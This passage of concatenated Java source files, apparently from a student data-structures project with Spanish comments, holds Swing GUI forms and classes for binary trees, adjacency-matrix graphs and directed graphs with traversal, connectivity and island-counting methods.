.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(Podar)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(EsSubArbol)
.addContainerGap(36, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void InsertarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_InsertarActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca elemento a insertar"));
arbolb.insertar(dato);
}//GEN-LAST:event_InsertarActionPerformed
private void PreOrdenActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PreOrdenActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
arbolb.preOrden(Salida);
}//GEN-LAST:event_PreOrdenActionPerformed
private void VerificarListaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_VerificarListaActionPerformed
// TODO add your handling code here:
if(arbolb.EsListaIzquierda()==false)
{
JOptionPane.showMessageDialog(null,"No es una lista a la izquierda");
}
else
{
JOptionPane.showMessageDialog(null,"Si es lista a la izquierda");
}
if(arbolb.EsListaDerecha()==false)
{
JOptionPane.showMessageDialog(null,"No es una lista a la derecha");
}
else
{
JOptionPane.showMessageDialog(null,"Si es lista a la derecha");
}
}//GEN-LAST:event_VerificarListaActionPerformed
private void PodarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_PodarActionPerformed
// TODO add your handling code here:
arbolb.Podar();
}//GEN-LAST:event_PodarActionPerformed
private void Insertar2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_Insertar2ActionPerformed
// TODO add your handling code here:
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca elemento a insertar"));
arbolb1.insertar(dato);
}//GEN-LAST:event_Insertar2ActionPerformed
private void EsSubArbolActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_EsSubArbolActionPerformed
// TODO add your handling code here:
arbolb.EsSubArbol(arbolb);
}//GEN-LAST:event_EsSubArbolActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(MainForm.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MainForm().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton EsSubArbol;
private javax.swing.JButton Inorden;
private javax.swing.JButton Insertar;
private javax.swing.JButton Insertar2;
private javax.swing.JButton Podar;
private javax.swing.JButton PreOrden;
private javax.swing.JTextArea Salida;
private javax.swing.JButton VerificarLista;
private javax.swing.JScrollPane jScrollPane1;
// End of variables declaration//GEN-END:variables
}
<file_sep>/GRAFOS/src/grafos/Grafo.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package grafos;
import java.util.LinkedList;
import javax.swing.JOptionPane;
import javax.swing.JTextArea;
/**
*
* @author <NAME>
*/
public class Grafo {
private static int max = 50;
private int M[][];
private int n;
public Grafo() {
M = new int[max][max];
for (int i = 0; i < max; i++) {
for (int j = 0; j < max; j++) {
M[i][j] = 0;
}
}
n= -1;
marca = new boolean[max + 1];
}
public void crearVertice() {
if (n == max) {
JOptionPane.showMessageDialog(null, "Numero de vertice igual a" + max + 1);
return;
}
n++;
}
public int cantVertices() {
return n + 1;
}
public boolean esVerticeValido(int v) {
return (v >= 0 && v <= n);
}
public void insertarArco(int u, int v) {
if (!esVerticeValido(u) || !esVerticeValido(v)) {
JOptionPane.showMessageDialog(null, "No es un vertice valido");
return;
}
M[u][v] = 1;
M[v][u] = 1;
}
public void eliminarArco(int u, int v) {
if (!esVerticeValido(u) || !esVerticeValido(v)) {
return; //No existe el vertice u o el vertice v.
}
M[u][v] = 0;
M[v][u] = 0;
}
private boolean marca[];
private void desmarcarTodos() {
for (int i = 0; i <= n; i++) {
marca[i] = false;
}
}
private void marcar(int u) {
if (esVerticeValido(u)) {
marca[u] = true;
}
}
private void desmarcar(int u) {
if (esVerticeValido(u)) {
marca[u] = false;
}
}
private boolean esMarcado(int u) { //Devuelve true, si el vertice u está marcado.
return marca[u];
}
private int cantidadMarcados()
{
int acumulador=0;
for (int i = 0; i <= this.cantVertices(); i++)
{
if(marca[i]!=false)
{
acumulador++;
}
}
return acumulador;
}
public int getArco(int i, int j) {
return M[i][j];
}
public void DFS(int vi, JTextArea jta) { //Recorrido en profundidad.
if (!esVerticeValido(vi)) {
return; //Validación. v no existe en el Grafo.
}
desmarcarTodos();
jta.append("DFS \n");
dfs(vi, jta);
}
private void dfs(int v, JTextArea jta) { //mask function
jta.append(String.valueOf(v) + " ");
marcar(v);
for (int i = 0; i <= n; i++) { //for (cada w adyacente a v)
if (M[v][i] > 0) {
int w = i;
if (!esMarcado(w)) {
dfs(w, jta);
}
}
}
}
public void BFS(int v, JTextArea jta) { //Recorrido en anchura
if (!esVerticeValido(v)) {
return; //Validación v no existe en el Grafo
}
desmarcarTodos();
LinkedList<Integer> C = new LinkedList<>(); //cola = vacía
C.add(v); //Inserta v a la cola (al final de la list)
marcar(v);
jta.append("BFS\n");
do {
int e = C.pop(); //Obtiene el 1er elemento de la cola.
jta.append(String.valueOf(e) + " ");
for (int i = 0; i <= n; i++) { //for (cada w adyacente a e)
if (M[e][i] > 0) {
int w = i;
if (!esMarcado(w)) {
C.add(w);
marcar(w);
}
}
}
} while (!C.isEmpty());
}
public int CantidadArco(int u)
{
int acumulador=0;
for (int i = 0; i <= this.cantVertices(); i++)
{
if(M[u][i]>0)
{
acumulador++;
}
}
return acumulador;
}
public void MostrarAdyacentes(int u, JTextArea jta)
{
jta.append("Vertices adyacentes de: " + String.valueOf(u));
jta.append("\n");
for (int i = 0; i < this.cantVertices(); i++)
{
if(M[u][i]>0)
{
jta.append(String.valueOf(i)+" ");
}
}
}
public boolean esConexo(int v)
{
int suma=0;
for (int i = v; i < this.cantVertices(); i++)
{
for (int j = 0; j < this.cantVertices(); j++)
{
if(i!=j && M[i][j]==1)
{
suma+=1;
}
}
}
return suma>=(this.cantVertices()-1)*2;
}
public boolean esConexoRecursivo(int v) { //Recorrido en profundidad.
if (!esVerticeValido(v)) {
return false; //Validación. v no existe en el Grafo.
}
desmarcarTodos();
return esConexoRecursivoP(v)==this.cantVertices();
}
private int esConexoRecursivoP(int v)//Basicamente recorremos el arbol en profundidad y solo verificamos que se halla recorrido todos los vertices
{
//mask function
int acum=0;
marcar(v);//Marcamos el primero
for (int i = 0; i <= n; i++) { //for (cada w adyacente a v)
if (M[v][i] >0) {
int w = i;
if (!esMarcado(w))//Verificamos para no volverlo a contar
{
acum+=esConexoRecursivoP(w);
}
}
}
return acum+1;
}
public int CantidadIslas()
{
int x;
this.desmarcarTodos();
if(CantidadIslas(0)==0) return 1;
else
{
return CantidadIslas(0);//Empezamos de 0 porque no importa donde empecemos
}
}
//Tenemos que tener en cuenta que cuando se crea el vertice nace una isla ya depende si esta esta con arco o no
private int CantidadIslas(int v)
{
if(!this.esVerticeValido(v))
{
return 0;
}
if(this.esMarcado(v))
{
return CantidadIslas(v+1);
}
if(!this.esConexoRecursivo(v))
{
return 1+CantidadIslas(v+1);
}
else
{
return 0;
}
}
} //end class
<file_sep>/GRAFOS/src/grafos/Main.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package grafos;
import javax.swing.JOptionPane;
/**
*
* @author <NAME>
*/
public class Main extends javax.swing.JFrame {
Grafo grafo=new Grafo();
/**
* Creates new form Main
*/
public Main() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jScrollPane1 = new javax.swing.JScrollPane();
Matriz = new javax.swing.JTable();
InsertarArco = new javax.swing.JButton();
RecorridoBFS = new javax.swing.JButton();
CrearVertice = new javax.swing.JButton();
jScrollPane2 = new javax.swing.JScrollPane();
Salida = new javax.swing.JTextArea();
RecorridoDFS = new javax.swing.JButton();
MuestreoMatriz = new javax.swing.JButton();
jLabel1 = new javax.swing.JLabel();
CantidadArco = new javax.swing.JButton();
Vertices = new javax.swing.JTextField();
MverticesAdyacentes = new javax.swing.JButton();
BesConexo = new javax.swing.JButton();
CantIslas = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
Matriz.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null},
{null, null, null, null, null, null, null, null, null, null, null}
},
new String [] {
"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"
}
));
jScrollPane1.setViewportView(Matriz);
InsertarArco.setText("INSERTAR ARCO");
InsertarArco.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
InsertarArcoActionPerformed(evt);
}
});
RecorridoBFS.setText("BFS");
RecorridoBFS.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RecorridoBFSActionPerformed(evt);
}
});
CrearVertice.setText("CREAR VERTICE");
CrearVertice.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
CrearVerticeActionPerformed(evt);
}
});
Salida.setColumns(20);
Salida.setRows(5);
jScrollPane2.setViewportView(Salida);
RecorridoDFS.setText("DFS");
RecorridoDFS.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
RecorridoDFSActionPerformed(evt);
}
});
MuestreoMatriz.setText("MOSTRAR MATRIZ DE ADYACENCIA");
MuestreoMatriz.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
MuestreoMatrizActionPerformed(evt);
}
});
jLabel1.setText("CANTIDAD DE VERTICES");
CantidadArco.setText("CANTIDAD DE ARCOS");
CantidadArco.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
CantidadArcoActionPerformed(evt);
}
});
MverticesAdyacentes.setText("MOSTRAR VERTICESS ADAYACENTES");
MverticesAdyacentes.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
MverticesAdyacentesActionPerformed(evt);
}
});
BesConexo.setText("ES CONEXO");
BesConexo.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
BesConexoActionPerformed(evt);
}
});
CantIslas.setText("CANTIDAD DE ISLAS");
CantIslas.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
CantIslasActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 268, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(Vertices, javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel1, javax.swing.GroupLayout.Alignment.LEADING))))
.addGap(73, 73, 73)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(InsertarArco, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(RecorridoBFS, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(RecorridoDFS, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(CrearVertice, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(MuestreoMatriz, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(CantidadArco, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(MverticesAdyacentes, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(BesConexo, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(CantIslas, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(25, 25, 25)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 199, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(33, 33, 33)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(Vertices, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(MuestreoMatriz)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(InsertarArco)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(RecorridoBFS)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(RecorridoDFS)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(CrearVertice)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(CantidadArco)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(MverticesAdyacentes)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(BesConexo)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(CantIslas)))
.addContainerGap(25, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void InsertarArcoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_InsertarArcoActionPerformed
// TODO add your handling code here:
int dato1=Integer.parseInt(JOptionPane.showInputDialog(null, "Ingrese el numero 1 (Fila x)"));
int dato2=Integer.parseInt(JOptionPane.showInputDialog(null,"Ingrese el numero 2 (Columna y)"));
grafo.insertarArco(dato1, dato2);
}//GEN-LAST:event_InsertarArcoActionPerformed
private void CrearVerticeActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CrearVerticeActionPerformed
// TODO add your handling code here:
grafo.crearVertice();//Nos crea un vertice en orden numerico
Vertices.setText(String.valueOf(grafo.cantVertices()));
}//GEN-LAST:event_CrearVerticeActionPerformed
private void RecorridoBFSActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RecorridoBFSActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
int dato=Integer.parseInt(JOptionPane.showInputDialog("Ingrese el numero donde se va a iniciar el recorrido"));
grafo.BFS(dato,Salida);
}//GEN-LAST:event_RecorridoBFSActionPerformed
private void RecorridoDFSActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RecorridoDFSActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
int dato=Integer.parseInt(JOptionPane.showInputDialog("Ingrese el numero donde se va a iniciar el recorrido"));
grafo.DFS(dato,Salida);
}//GEN-LAST:event_RecorridoDFSActionPerformed
private void MuestreoMatrizActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_MuestreoMatrizActionPerformed
// TODO add your handling code here:
Matriz.clearSelection();
for (int i = 0; i < grafo.cantVertices(); i++) {
for (int j = 0; j < grafo.cantVertices(); j++) {
Matriz.setValueAt(grafo.getArco(i, j), i, j);
}
}
}//GEN-LAST:event_MuestreoMatrizActionPerformed
private void CantidadArcoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CantidadArcoActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el vertice para calcular sus arcos:"));
Salida.append("Cantidad de arcos de:"+ String.valueOf(dato));
Salida.append("\n");
Salida.append(String.valueOf(grafo.CantidadArco(dato)));
}//GEN-LAST:event_CantidadArcoActionPerformed
private void MverticesAdyacentesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_MverticesAdyacentesActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
int dato=Integer.parseInt(JOptionPane.showInputDialog("Introduzca el vertice para mostrar sus vertices adyacentes:"));
grafo.MostrarAdyacentes(dato,Salida);
}//GEN-LAST:event_MverticesAdyacentesActionPerformed
private void BesConexoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_BesConexoActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
int dato=Integer.parseInt(JOptionPane.showInputDialog("Ingrese el vertice de inicio:"));
if(grafo.esConexo(dato))
{
Salida.append("Iterativo:Es conexo\n " );
}
else
{
Salida.append("Iterativo:No es conexo\n");
}
if(grafo.esConexoRecursivo(dato))
{
Salida.append("Recursivo:Es conexo\n" );
}
else
{
Salida.append("Recursivo:No es conexo\n");
}
}//GEN-LAST:event_BesConexoActionPerformed
private void CantIslasActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CantIslasActionPerformed
// TODO add your handling code here:
Salida.setText(" ");
Salida.append(String.valueOf(grafo.CantidadIslas()));
}//GEN-LAST:event_CantIslasActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {
for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Main.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
/* Create and display the form */
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new Main().setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton BesConexo;
private javax.swing.JButton CantIslas;
private javax.swing.JButton CantidadArco;
private javax.swing.JButton CrearVertice;
private javax.swing.JButton InsertarArco;
private javax.swing.JTable Matriz;
private javax.swing.JButton MuestreoMatriz;
private javax.swing.JButton MverticesAdyacentes;
private javax.swing.JButton RecorridoBFS;
private javax.swing.JButton RecorridoDFS;
private javax.swing.JTextArea Salida;
private javax.swing.JTextField Vertices;
private javax.swing.JLabel jLabel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
// End of variables declaration//GEN-END:variables
}
<file_sep>/Grafos Dirigidos(Lista Objetos)/src/Grafo.java
import javax.swing.*;
import java.util.LinkedList;
import java.util.List;
import java.util.PriorityQueue;
public class Grafo
{
private Lista LVertices;
public Grafo() {
LVertices = new Lista();
}
public void crearVertice(String nomV){
LVertices.insertarUlt(new Vertice(nomV));
}
//Retorna null si no lo encontro el vertice
public Vertice buscarVertice(String nomV)
{
Vertice vertice;
int i=0;
while (i<LVertices.dim())
{
vertice =(Vertice)LVertices.getElem(i);
if (vertice.getNombre().equals(nomV))
return vertice;
i++;
}
return null;
}
public void insertarArco(String X,String Y, float co)
{
Vertice vo = buscarVertice(X);
Vertice vd = buscarVertice(Y);
vo.insertarArco(new Arco(vd, co));
}
public void imprimir(JTextArea jta){
int i = 0; Vertice v; Arco a;
while (i < LVertices.dim())
{
v = (Vertice)LVertices.getElem(i);
int j=0;
while (j<v.LArcos.dim())
{
jta.append(v.getNombre());
jta.append("-->");
a = (Arco)v.LArcos.getElem(j); //Muestra el arco donde apunto
jta.append(a.getNombreVertD() + " " + a.getCosto());
jta.append("\n");
j++;
}
i++;
}
}
public void ArcosSalientes(String vo,JTextArea jta)
{
Vertice v;
Arco arc;
v=this.buscarVertice(vo);
if(v!=null)
{
for (int i = 0; i < v.LArcos.dim(); i++)
{
jta.append(vo+"-->");
arc=(Arco)v.LArcos.getElem(i);
jta.append(String.valueOf(arc.getNombreVertD()));
jta.append("\n");
//:v//
}
}
}
public void ArcosEntrantes(String v, JTextArea jta)
{
int arconen=0;
jta.append("Arcos Entrantes de:"+v);
jta.append("\n");
Vertice ve;
Arco Arc;
for (int i = 0; i < LVertices.dim(); i++) {
ve=(Vertice)LVertices.getElem(i);
//Verificamos que no sea el mismo para que no haya ciclos, preguntar a calle si se tiene que hacer asi
if(!ve.nombre.equals(v))
{
for (int j = 0; j < ve.LArcos.dim(); j++) {
Arc=(Arco)ve.LArcos.getElem(j);
if(String.valueOf(Arc.getNombreVertD()).equals(v))
{
jta.append(v+"<---"+String.valueOf(ve.nombre)+"\n");
arconen++;
break;
}
}
}
}
jta.append("\n");
jta.append("Cantidad de arcos entrantes:"+String.valueOf(arconen));
}
public void MostrarVertices(JTextArea jta)
{
Vertice v;
for (int i = 0; i < this.LVertices.dim(); i++) {
v=(Vertice)LVertices.getElem(i);
jta.append(v.nombre+" ");
}
}
public boolean esConexo()
{
//Solo tenia que ordenar los vertices, cosa que olvide hacer
this.ordenarVerticesAlf();
//Si el grafo es conexo entonces significa que cada vertice puede llegar a todos
for (int i = 0; i < this.LVertices.dim(); i++) {
Vertice v=(Vertice)this.LVertices.getElem(i);
for (int j = 0; j < this.LVertices.dim(); j++) {
//Verificamos que i y j no sean iguales porque no nos interesa si tieenen un arco ellos mismos
Vertice w=(Vertice)this.LVertices.getElem(j);
if(i!=j)
{//Si no existe camino de un vertice a otro directamente retornamos false
if(!existeCamino(v.getNombre(),w.getNombre()))
{
return false;
}
}
}
}
//Retornamos true en casol que si encuentre camino
return true;
}
public boolean iguales(Grafo g1)
{
//Primero antes de proseguir, necesitamos verificar que la cantidad de vertices sea la misma
//Si no es la misma directamente nos devuelve false
if(this.LVertices.dim()!=g1.LVertices.dim()) return false;
desmarcarTodos();
ordenarVerticesAlf();
g1.ordenarVerticesAlf();
return Iguales(g1);
}
private boolean unicoArcomismo(Vertice v)
{
Arco arc;
arc=(Arco)v.LArcos.getElem(0);
if(v.LArcos.dim()==1 && arc.getNombreVertD().equals(v.nombre)) return true;
return false;
}
private boolean Iguales(Grafo g1)
{
Vertice v1,v2;
Arco arc1,arc2;
for (int i = 0; i < this.LVertices.dim(); i++)
{
//Si supuestamente son iguales, tenemos que verificar despues de haber ordenado alf que tengan el mismo nombre
v1=(Vertice)this.LVertices.getElem(i);
v2=(Vertice)g1.LVertices.getElem(i);
if(!v2.nombre.equals(v1.nombre))
return false;
v1.ordenarArcosAlf();
v2.ordenarArcosAlf();
for (int j = 0; j <v1.LArcos.dim(); j++)
{
arc1=(Arco)v1.LArcos.getElem(j);
arc2=(Arco)v2.LArcos.getElem(j);
if(!arc1.getNombreVertD().equals(arc2.getNombreVertD()))
{
return false;
}
if(arc1.getCosto()!=arc2.getCosto()) return false;
}
}
return true;
}
public int CantidadIslas()
{
Vertice v;
int islas=0;
this.desmarcarTodos();
for (int i = 0; i < this.LVertices.dim(); i++) {
v=(Vertice)this.LVertices.getElem(i);
if(!v.marcado)
{
CantidadIslas(v);
islas++;
}
}
return islas;
}
private void CantidadIslas(Vertice v)
{
//Literal usamos el recorrido dfs, asi que si de un vertice de inicio se llega a los demas entonces no hay isla
v.marcado=true;
Arco a;
for (int i = 0; i < v.LArcos.dim(); i++) {
a = (Arco) v.LArcos.getElem(i);
Vertice w = buscarVertice(a.getNombreVertD());
if(!w.marcado)
CantidadIslas(w);
}
}
public int CantidadVerticesFlotantes()
{
Vertice v;
int cant=0;
for (int i = 0; i < this.LVertices.dim(); i++) {
v=(Vertice)this.LVertices.getElem(i);
if(this.CantidadArcosEntrantes(v)==0 && v.LArcos.dim()==0)
{
cant++;
}
}
return cant;
}
//Siemopre esta devolviendo 0
public int CantidadArcosEntrantes(Vertice v)
{
int arconen=0;
Vertice ve;
Arco Arc;
for (int i = 0; i < LVertices.dim(); i++) {
ve=(Vertice)LVertices.getElem(i);
if(!ve.nombre.equals(v))
{
for (int j = 0; j < ve.LArcos.dim(); j++) {
Arc=(Arco)ve.LArcos.getElem(j);
if(String.valueOf(Arc.getNombreVertD()).equals(v.nombre))
{
arconen++;
break;
}
}
}
}
return arconen;
}
public boolean esArbolBinario()
{
//Tengo que desmarcar cada vez que :v ponemos un nuevo nodo
Vertice v;
desmarcarTodos();
//Verificamos en caso de que solo haya un vertice que cuente como raiz
if(CantidadVerticesFlotantes()==1 && this.LVertices.dim()==1) return true;
desmarcarTodos();
//Si tiene mas vertices flotantes entonces no es arbol binario
if (CantidadVerticesFlotantes()>=1) return false;
for (int i = 0; i < this.LVertices.dim(); i++) {
desmarcarTodos();
v=(Vertice)this.LVertices.getElem(i);
if(!esArbolBinario(v))
{
return false;
}
}
return true;
}
public boolean esSubGrafo(Grafo F)
{
//Hay un problema, cuando hay un vertice flotante que no es el principal lo acepta como sub grafo
this.ordenarVerticesAlf();
F.ordenarVerticesAlf();
F.desmarcarTodos();
this.desmarcarTodos();
Vertice v;
Vertice aux,aux2;
aux=(Vertice)F.LVertices.getElem(0);
aux2=(Vertice)this.LVertices.getElem(0);
//Verificamos si la cantidad de flotantes es 1 y solo hay un vertice para los dos grafos
if(CantidadVerticesFlotantes()==1 && this.LVertices.dim()==1 && F.CantidadVerticesFlotantes()==1 && F.LVertices.dim()==1 && aux2.nombre.equals(aux.nombre) ) return true;
desmarcarTodos();
if(F.CantidadVerticesFlotantes()>this.CantidadVerticesFlotantes()) return false;
//if (F.CantidadVerticesFlotantes()>=1) return false;
for (int i = 0; i <F.LVertices.dim(); i++) {
v=(Vertice)F.LVertices.getElem(i);
if(!v.marcado)
{
if(!esSubGrafo(v))
{
return false;
}
}
}
return true;
}
//El truco es empezar con el vertice del supuesto subgrafo
private boolean esSubGrafo(Vertice C)
{
//Buscamos el vertice de inicio en el grafo, si no existe retornamos false
Vertice vg=this.buscarVertice(C.nombre);
if(vg==null) return false;
vg.ordenarArcosAlf();
C.ordenarArcosAlf();
C.marcado=true;
Arco arc,arc2;
for (int i = 0; i <C.LArcos.dim(); i++) {
arc=(Arco)C.LArcos.getElem(i);
